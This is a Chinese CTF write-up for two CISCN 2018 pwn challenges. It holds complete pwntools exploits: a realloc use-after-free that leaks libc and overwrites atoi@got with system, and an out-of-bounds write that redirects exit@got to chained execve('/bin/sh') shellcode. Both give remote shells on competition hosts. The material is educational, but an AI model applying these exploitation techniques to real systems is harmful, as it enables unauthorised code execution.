前言

2018全国大学生网络安全竞赛 ,做了2 道题

task_supermarket

change_desc 里面调用 realloc 会触发 uaf

利用 uaf 修改 obj->desc_ptr 为 atoi@got , 泄露 libc, 使用 libc-database 找到相应的 libc

修改 atoi@got 为 system ,然后 输入 sh , getshell


from pwn import *
from time import sleep
context(os='linux', log_level='info')
context.terminal = ['tmux', 'splitw', '-h']
# p = process("./task_supermarket")
p = remote("117.78.43.197", 32138)
def add(name, price, descrip_size, description):
sleep(0.2)
p.recvuntil("your choice>> ")
p.sendline('1')
p.recvuntil("name:")
sleep(0.2)
p.sendline(name)
p.recvuntil("price:")
sleep(0.2)
p.sendline(str(price))
p.recvuntil("descrip_size:")
sleep(0.2)
p.sendline(str(descrip_size))
p.recvuntil("description:")
sleep(0.1)
p.send(description) def free(name):
p.recvuntil("your choice>> ")
p.sendline('2')
p.recvuntil("name:")
sleep(0.2)
p.sendline(name) def list():
p.recvuntil("your choice>> ")
p.sendline('3') def change_price(name, value):
p.recvuntil("your choice>> ")
p.sendline('4')
p.recvuntil("name:")
p.sendline(name)
p.recvuntil("input the value you want to cut or rise in:")
p.sendline(str(value)) def change_desc(name, descrip_size, description):
p.recvuntil("your choice>> ")
p.sendline('5')
p.recvuntil("name:")
sleep(0.2)
p.sendline(name)
p.recvuntil("descrip_size:")
sleep(0.2)
p.sendline(str(descrip_size))
p.recvuntil("description:")
sleep(0.2)
p.send(description) add('0', 80, 0x1c, '\n')
add('1', 80, 0x1c, '\n')
add('2', 80, 0x1c, '\n')
add('3', 80, 0x1c, '\n') change_desc('1', 0x30, '\n') add('4', 80, 0x1c, '\n')
add('5', 80, 0x80, '\n') read_got = 0x0804B010
atoi_got = 0x0804B048 payload = p32(0x34)
payload += p32(0) * 3
payload += p32(0x50)
payload += '\x90\n'
change_desc('1', 0x1c, payload) payload = '\x00' * (0x20 - 8)
payload += p32(0)
payload += p32(0x21)
payload += p32(0x35)
payload += p32(0) * 3
payload += p32(0x50)
payload += p32(0x90)
payload += p32(atoi_got)
change_desc('4', 0x90, payload + '\n') list()
p.recvuntil("5: price.80, des.") libc = ELF("/home/haclh/workplace/libc-database/db/libc6-i386_2.23-0ubuntu9_amd64.so")
leak = u32(p.recv(4))
libc.address = leak - libc.symbols['atoi']
info("libc: " + hex(libc.address))
info("leak: " + hex(leak)) payload = p32(libc.symbols['system'])
change_desc('5', 0x90, payload + '\n') # gdb.attach(p)
# pause()
p.recvuntil("your choice>> ")
p.sendline("sh") p.interactive()

flag: ciscn{1beba07b6a3232220b92429c6a0ac1e4}

task_note_service2

add 的时候会越界。

程序没开 nx, 利用越界改 exit@got 为 堆地址,然后布置 shellcode , 由于严格控制大小。使用 短跳转 连接各条 shellcode 需要的语句。用到的 shellcode 为

xor esi, esi
push rsi
push rsi
mov ebx, 0x6e69622f
mov [rsp], ebx
mov ebx, 0x68732f2f
mov [rsp+4], ebx
mov rdi, rsp
push 0x3b
pop rax
xor rdx,rdx
syscall

最终 exp

from pwn import *
from time import sleep
context(os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
# p = process("./task_note_service2")
p = remote("49.4.23.165", 32510) base = 0x555555554000 def add(idx, content):
sleep(0.2)
p.recvuntil("your choice>> ")
p.sendline('1')
p.recvuntil("index:")
sleep(0.2)
p.sendline(str(idx))
p.recvuntil("size:")
sleep(0.2)
p.sendline(str(len(content)))
p.recvuntil("content:")
sleep(0.2)
p.send(content) def free(idx):
p.recvuntil("your choice>> ")
p.sendline('2')
p.recvuntil("index:")
sleep(0.2)
p.sendline(str(idx)) gdb_command = '''
x/20xg {}
break *0x0000555555757030
c
'''.format(hex(base + 0x2020A0)) add(-7, '\x90\x31\xf6\x56\x56\xeb\x19\n') # exit ---> shellocde
add(0, '\xbb\x2f\x62\x69\x6e\xeb\x19\n') # push
add(1, '\x90\x90\x89\x1c\x24\xeb\x19\n') # push
add(2, '\xbb\x2f\x2f\x73\x68\xeb\x19\n') # push
add(3, '\x89\x5c\x24\x04\x90\xeb\x19\n') # push
add(4, '\x48\x89\xe7\x6a\x3b\xeb\x19\n') # push
add(5, '\x58\x48\x31\xd2\x0f\x05\n') # push
# gdb.attach(p, gdb_command)
# pause() p.recvuntil("your choice>>")
p.sendline("5")
p.interactive()
'''
xor esi, esi
push rsi
push rsi
mov ebx, 0x6e69622f
mov [rsp], ebx
mov ebx, 0x68732f2f
mov [rsp+4], ebx
mov rdi, rsp
push 0x3b
pop rax
xor rdx,rdx
syscall
'''

flag: ciscn{133fb0f0ca3ddf24964975f1ab94d082}

ciscn2018-pwn-wp的更多相关文章

  1. 2021能源PWN wp

    babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...

  2. bugku - pwn wp

    一. PWN1 题目:nc 114.116.54.89 10001 1.  直接kali里面跑nc 2.ls看看有啥 3.明显有一个flag cat查看一下 搞定 二 . PWN2 题目:给了nc 1 ...

  3. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  4. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  5. CG-CTF pwn部分wp

    面向pwn刷cgctfPWN1,When did you born题目给了一个ELF文件,和一个.C文件先运行ELF,大概如下What’s Your Birth?0What’s Your Name?0 ...

  6. (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016

    [buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...

  7. pwn学习之四

    本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...

  8. Pwn入坑指南

    栈溢出原理 参考我之前发的一篇 Windows栈溢出原理 还有 brant 师傅的<0day安全笔记> Pwn常用工具 gdb:Linux下程序调试 PEDA:针对gdb的python漏洞 ...

  9. Pwn with File结构体(一)

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 利用 FILE 结构体进行攻击,在现在的 ctf 比赛中也经常出现 ...

  10. 安恒月赛WP

    一月 一叶飘零大佬的WP:安恒月赛一月 二进制部分:zjgcjy大佬的WP reverse1更容易理解的一种解法 pwn1详解 二月 一叶飘零WP 二进制部分: reverse Pwn 三月 ...

随机推荐

  1. 百度地图笔记_覆盖物(标注marker,折线polyline,多边形polygon)的点击弹窗和右键菜单

    利用绘制工具绘制点线面,并在执行绘制完成回调事件给相应覆盖物添加事件操作,提供标注的点击弹窗和标注.折线.多边形的右键删除 效果图如下: 完整代码如下:html+js <!DOCTYPE htm ...

  2. Java之IO(十三)File、Filter、Piped、String和InputStreamReader与OutputStreamWriter

    转载请注明原出处:http://www.cnblogs.com/lighten/p/7264196.html 1.前言 断更一段时间,计划果然赶不上变化(还是太懒...).这次一次性将剩余的5组字符流 ...

  3. python strip()函数的用法

    函数原型 声明:s为字符串,rm为要删除的字符序列 s.strip(rm)         删除s字符串中开头.结尾处,位于 rm删除序列的字符 s.lstrip(rm)        删除s字符串中 ...

  4. rabbitmq实现一台服务器同时给所有的consumer发送消息(tp框架)(第四篇)

    之前的学习了把消息直接publish到queue里面,然后consume掉, 真实的情况,我们会把消息先发送到exchange里面,由它来处理,是发给某一个队列,还是发给某些队列,还是丢弃掉? exc ...

  5. 《Android应用性能优化》3——电量、渲染

    7.延长电池续航时间 尽管应用有时看起来没做多少事,但实际上可能会很耗电,运行不了多久就会把电量榨干,使设备开机不到半天就没电了.那些被归为“电池杀手”的应用,最终的宿命就是被删除.得差评.不挣钱.因 ...

  6. 按照Right-BICEP要求对实验二进行测试

    我的代码实现的功能很简单,在最基本的功能上,包括有无括号(0/1),有无负数(0/1),有无乘除法(0/1)验证程序的正确性,测试用例为8个,2^3个,也就覆盖了所有的代码路径. 测试计划: 基本功能 ...

  7. scss 入门

    scss 入门 1. scss 引入其他文件 引入其他 .scss 文件 @import 'index.scss' 这样的话,文件在编译后,会自动把引入的文件和当前文件合并为一个. scss 文件 引 ...

  8. Golang gRPC 使用

    一.概念 1.gRPC默认使用protocol buffers,这是google开源的一套成熟的结构数据序列化机制(当然也可以使用其他数据格式如JSON),可以用proto files创建gRPC服务 ...

  9. seajs源码分析(一)---整体结构以及module.js

    1,seajs的主要内容在module.js内部,最开始包含这么几个东西 var cachedMods = seajs.cache = {} var anonymousMeta var fetchin ...

  10. Nodejs学习笔记(一)—简介及安装Node.js开发环境

    一.简介 Node.js是让Javascript脱离浏览器运行在服务器的一个平台,不是语言: Node.js采用的Javascript引擎是来自Google Chrome的V8:运行在浏览器外不用考虑 ...